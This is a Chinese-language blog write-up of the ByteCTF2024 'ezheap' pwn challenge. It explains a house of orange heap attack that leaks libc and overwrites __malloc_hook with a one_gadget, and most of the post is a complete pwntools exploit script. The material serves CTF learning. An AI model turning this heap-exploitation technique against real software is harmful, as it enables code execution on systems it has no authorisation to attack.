ByteCTF2024-ezheap

M1aoo0bin

ezheap

主要利用手法是 house of orange ,因为没有 free。
edit里面可以随便溢出,改 top chunk。

思路是先house of orange打爆一次top chunk,unsortedbin里进一个chunk,泄露libc
然后找到新的top chunk,再打爆一次(提前把 unsortedbin 里的内容申请出来比较方便控制下一次top chunk的大小)
改malloc hook

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import*
context.log_level='debug'

elf=ELF("./pwn")
libc = ELF("./libc-2.27.so")
p=process("./pwn")

def add(size):
p.sendlineafter("Enter 1 to add, 2 to free, 3 to show, 4 to edit, 0 to exit:",b"1")
p.sendlineafter("Enter size to add:",str(size).encode())

def show(idx):
p.sendlineafter("Enter 1 to add, 2 to free, 3 to show, 4 to edit, 0 to exit:",b"3")
p.sendlineafter("Enter index to show:",str(idx).encode())

def edit(idx,size, con):
p.sendlineafter("Enter 1 to add, 2 to free, 3 to show, 4 to edit, 0 to exit:",b"4")
p.sendlineafter("Enter index to edit:",str(idx).encode())
p.sendlineafter("input size",str(size).encode())
p.sendlineafter("input",con)

add(0x68)#0
# gdb.attach(p)
edit(0,0x70,b'a'*0x68+p64(0xd41))

add(0xd50)#1
gdb.attach(p)

add(0xc10)#2
show(2)

p.recvuntil("Chunk at index 2: ")
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-0x3ec2a0
print("libc_base = ",hex(libc_base))
system=libc_base+libc.sym["system"]
malloc_hook=libc_base+libc.sym["__malloc_hook"]
ogg=libc_base+0x4f322


edit(1,0xd60,b'b'*0xd58+p64(0x2a1))

add(0x300)#3

edit(1,0xd68,b'b'*0xd58+p64(0x281)+p64(malloc_hook))
# gdb.attach(p)

add(0x270)#4
add(0x270)#5
edit(5,0x8,p64(ogg))

add(0)

p.interactive()

其他问题

这次比赛有两个还算没有解决的问题吧,,一个是那道ai题还是有点疑问的。

另一个就是这道题没有公布wp,并且在题目中会去检查一次你任意地址写的时候写在哪里,如果这个地址不满足什么什么条件那么就会输出不允许改hook然后退出程序

然而实际上我们最后的利用还是改hook而已

不是很懂出题人的意思

  • Title: ByteCTF2024-ezheap
  • Author: M1aoo0bin
  • Created at : 2024-09-23 00:53:31
  • Updated at : 2024-11-04 16:07:50
  • Link: https://redefine.ohevan.com/2024/09/23/ByteCTF2024/
  • License: This work is licensed under CC BY-NC-SA 4.0.
On this page
ByteCTF2024-ezheap